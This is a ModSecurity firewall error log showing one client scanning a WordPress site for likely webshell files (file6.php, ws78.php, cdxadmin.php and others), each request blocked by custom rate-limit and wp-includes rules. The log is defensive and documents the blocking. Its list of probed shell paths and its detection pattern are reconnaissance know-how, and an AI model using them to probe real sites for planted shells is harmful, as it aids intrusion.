[Fri May 08 11:37:02.513532 2026] [:error] [pid 61356:tid 61411] [client 172.212.136.43:25820] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file6.php"] [unique_id "af1aXox3vpB8oWhUq2Pk3QAAAdc"]
[Fri May 08 11:37:03.356928 2026] [:error] [pid 51007:tid 51027] [client 172.212.136.43:25864] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file6.php"] [unique_id "af1aX1MagSGstWKyzzWwAQAAAAU"]
[Fri May 08 11:37:04.032386 2026] [:error] [pid 61355:tid 61385] [client 172.212.136.43:25867] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file6.php"] [unique_id "af1aYPkhJTi30CBXmMknOgAAAZg"]
[Fri May 08 11:37:04.514524 2026] [:error] [pid 61317:tid 61337] [client 172.212.136.43:25929] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file6.php"] [unique_id "af1aYM-fFk_CedOCOYtwaAAAAVE"]
[Fri May 08 11:37:05.942642 2026] [:error] [pid 61355:tid 61380] [client 172.212.136.43:25862] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "af1aYfkhJTi30CBXmMknOwAAAZM"]
[Fri May 08 11:37:06.692813 2026] [:error] [pid 61355:tid 61375] [client 172.212.136.43:25923] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "af1aYvkhJTi30CBXmMknPQAAAY4"]
[Fri May 08 11:37:08.223009 2026] [:error] [pid 51009:tid 51085] [client 172.212.136.43:25859] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "af1aZOB0GbUWhxgzX9XKxAAAAIk"]
[Fri May 08 11:37:10.048329 2026] [:error] [pid 61355:tid 61376] [client 172.212.136.43:25971] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "af1aZvkhJTi30CBXmMknQwAAAY8"]
[Fri May 08 11:37:10.807727 2026] [:error] [pid 51008:tid 51072] [client 172.212.136.43:25959] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/19.php"] [unique_id "af1aZnB58C2Y1tgLtuJWgAAAAFc"]
[Fri May 08 11:37:11.418807 2026] [:error] [pid 61355:tid 61369] [client 172.212.136.43:25895] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/19.php"] [unique_id "af1aZ_khJTi30CBXmMknRQAAAYg"]
[Fri May 08 11:37:12.535071 2026] [:error] [pid 61355:tid 61384] [client 172.212.136.43:25869] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/19.php"] [unique_id "af1aaPkhJTi30CBXmMknRwAAAZc"]
[Fri May 08 11:37:14.223504 2026] [:error] [pid 61355:tid 61381] [client 172.212.136.43:25949] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/19.php"] [unique_id "af1aavkhJTi30CBXmMknTAAAAZQ"]
[Fri May 08 11:37:14.883093 2026] [:error] [pid 51113:tid 51129] [client 172.212.136.43:25952] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "af1aakQfs7sWtqkpQIdL0QAAAM4"]
[Fri May 08 11:37:15.533710 2026] [:error] [pid 61355:tid 61376] [client 172.212.136.43:25938] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "af1aa_khJTi30CBXmMknTgAAAY8"]
[Fri May 08 11:37:16.633078 2026] [:error] [pid 51007:tid 51042] [client 172.212.136.43:25954] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "af1abFMagSGstWKyzzWwAgAAABQ"]
[Fri May 08 11:37:18.860646 2026] [:error] [pid 51008:tid 51056] [client 172.212.136.43:25879] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "af1abnB58C2Y1tgLtuJWgwAAAEc"]
[Fri May 08 11:37:19.310338 2026] [:error] [pid 61356:tid 61402] [client 172.212.136.43:25958] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "af1ab4x3vpB8oWhUq2Pk4QAAAc4"]
[Fri May 08 11:37:19.983563 2026] [:error] [pid 61355:tid 61383] [client 172.212.136.43:25924] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "af1ab_khJTi30CBXmMknbQAAAZY"]
[Fri May 08 11:37:20.949682 2026] [:error] [pid 51113:tid 51128] [client 172.212.136.43:25956] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "af1acEQfs7sWtqkpQIdL1AAAAM0"]
[Fri May 08 11:37:21.895244 2026] [:error] [pid 61355:tid 61362] [client 172.212.136.43:25799] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "af1acfkhJTi30CBXmMknbwAAAYE"]
[Fri May 08 11:37:22.495975 2026] [:error] [pid 61355:tid 61365] [client 172.212.136.43:25965] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "af1acvkhJTi30CBXmMkncQAAAYQ"]
[Fri May 08 11:37:23.103682 2026] [:error] [pid 61355:tid 61372] [client 172.212.136.43:25967] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "af1ac_khJTi30CBXmMkncgAAAYs"]
[Fri May 08 11:37:23.854591 2026] [:error] [pid 51007:tid 51026] [client 172.212.136.43:25972] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "af1ac1MagSGstWKyzzWwBAAAAAQ"]
[Fri May 08 11:37:24.760257 2026] [:error] [pid 61355:tid 61385] [client 172.212.136.43:25865] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "af1adPkhJTi30CBXmMkndAAAAZg"]
[Fri May 08 11:37:25.590401 2026] [:error] [pid 51008:tid 51052] [client 172.212.136.43:25982] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "af1adXB58C2Y1tgLtuJWhAAAAEM"]
[Fri May 08 11:37:26.501863 2026] [:error] [pid 61356:tid 61410] [client 172.212.136.43:25856] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "af1adox3vpB8oWhUq2Pk4wAAAdY"]
[Fri May 08 11:37:28.198272 2026] [:error] [pid 51008:tid 51061] [client 172.212.136.43:25977] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "af1aeHB58C2Y1tgLtuJWhwAAAEw"]
[Fri May 08 11:37:28.903839 2026] [:error] [pid 51008:tid 51054] [client 172.212.136.43:25953] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "af1aeHB58C2Y1tgLtuJWigAAAEU"]
[Fri May 08 11:37:29.824412 2026] [:error] [pid 51113:tid 51134] [client 172.212.136.43:25948] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "af1aeUQfs7sWtqkpQIdL1wAAANM"]
[Fri May 08 11:37:30.694505 2026] [:error] [pid 61317:tid 61327] [client 172.212.136.43:25983] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "af1aes-fFk_CedOCOYtwbgAAAUc"]
[Fri May 08 11:37:31.206620 2026] [:error] [pid 51008:tid 51064] [client 172.212.136.43:25872] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "af1ae3B58C2Y1tgLtuJWjAAAAE8"]
[Fri May 08 11:37:31.873007 2026] [:error] [pid 51113:tid 51137] [client 172.212.136.43:25906] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "af1ae0Qfs7sWtqkpQIdL2AAAANY"]
[Fri May 08 11:37:32.823594 2026] [:error] [pid 61356:tid 61395] [client 172.212.136.43:25947] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdxadmin.php"] [unique_id "af1afIx3vpB8oWhUq2Pk5QAAAcc"]
[Fri May 08 11:37:33.449064 2026] [:error] [pid 61317:tid 61326] [client 172.212.136.43:25881] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdxadmin.php"] [unique_id "af1afc-fFk_CedOCOYtwbwAAAUY"]
[Fri May 08 11:37:34.475394 2026] [:error] [pid 61355:tid 61361] [client 172.212.136.43:25941] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdxadmin.php"] [unique_id "af1afvkhJTi30CBXmMkndwAAAYA"]
[Fri May 08 11:37:35.753298 2026] [:error] [pid 51007:tid 51043] [client 172.212.136.43:25873] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdxadmin.php"] [unique_id "af1af1MagSGstWKyzzWwCgAAABU"]
[Fri May 08 11:37:37.444108 2026] [:error] [pid 61355:tid 61374] [client 172.212.136.43:25927] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "af1agfkhJTi30CBXmMknfQAAAY0"]
[Fri May 08 11:37:38.332378 2026] [:error] [pid 61355:tid 61378] [client 172.212.136.43:25878] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "af1agvkhJTi30CBXmMkngAAAAZE"]
[Fri May 08 11:37:39.854424 2026] [:error] [pid 61355:tid 61372] [client 172.212.136.43:25908] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "af1ag_khJTi30CBXmMknhAAAAYs"]
[Fri May 08 11:37:40.420774 2026] [:error] [pid 61355:tid 61366] [client 172.212.136.43:25942] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "af1ahPkhJTi30CBXmMknhgAAAYU"]
[Fri May 08 11:37:41.470830 2026] [:error] [pid 61317:tid 61333] [client 172.212.136.43:25950] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "af1ahc-fFk_CedOCOYtwcQAAAU0"]
[Fri May 08 11:37:42.313182 2026] [:error] [pid 61355:tid 61379] [client 172.212.136.43:25903] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "af1ahvkhJTi30CBXmMkniAAAAZI"]
[Fri May 08 11:37:43.097207 2026] [:error] [pid 61355:tid 61363] [client 172.212.136.43:25800] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "af1ah_khJTi30CBXmMknigAAAYI"]
[Fri May 08 11:37:43.640973 2026] [:error] [pid 61355:tid 61362] [client 172.212.136.43:25877] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "af1ah_khJTi30CBXmMkniwAAAYE"]
[Fri May 08 11:37:44.565702 2026] [:error] [pid 51113:tid 51122] [client 172.212.136.43:25969] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "af1aiEQfs7sWtqkpQIdL2wAAAMc"]
[Fri May 08 11:37:45.709531 2026] [:error] [pid 51009:tid 51083] [client 172.212.136.43:25904] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "af1aieB0GbUWhxgzX9XK2QAAAIc"]
[Fri May 08 11:37:46.908894 2026] [:error] [pid 61356:tid 61390] [client 172.212.136.43:25970] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "af1aiox3vpB8oWhUq2Pk6wAAAcI"]
[Fri May 08 11:37:53.009633 2026] [:error] [pid 61317:tid 61338] [client 172.212.136.43:25858] [client 172.212.136.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/options.php"] [unique_id "af1akc-fFk_CedOCOYtwigAAAVI"]
[Fri May 08 11:37:55.193803 2026] [:error] [pid 51113:tid 51132] [client 172.212.136.43:25917] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "af1ak0Qfs7sWtqkpQIdL3wAAANE"]
[Fri May 08 11:37:55.937414 2026] [:error] [pid 34318:tid 34333] [client 172.212.136.43:25921] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "af1ak8r3guirgJiKhzCm3QAAAQ0"]
[Fri May 08 11:37:57.165846 2026] [:error] [pid 51113:tid 51130] [client 172.212.136.43:25941] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "af1alUQfs7sWtqkpQIdL4AAAAM8"]
[Fri May 08 11:37:58.215336 2026] [:error] [pid 61317:tid 61328] [client 172.212.136.43:25861] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "af1als-fFk_CedOCOYtwjwAAAUg"]
[Fri May 08 11:37:59.203839 2026] [:error] [pid 61355:tid 61381] [client 172.212.136.43:25796] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "af1al_khJTi30CBXmMknjAAAAZQ"]
[Fri May 08 11:37:59.916382 2026] [:error] [pid 51113:tid 51127] [client 172.212.136.43:25822] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "af1al0Qfs7sWtqkpQIdL4QAAAMw"]
[Fri May 08 11:38:00.705232 2026] [:error] [pid 61317:tid 61343] [client 172.212.136.43:25975] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "af1amM-fFk_CedOCOYtwkgAAAVc"]
[Fri May 08 11:38:01.463292 2026] [:error] [pid 51113:tid 51124] [client 172.212.136.43:25974] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "af1amUQfs7sWtqkpQIdL4wAAAMk"]
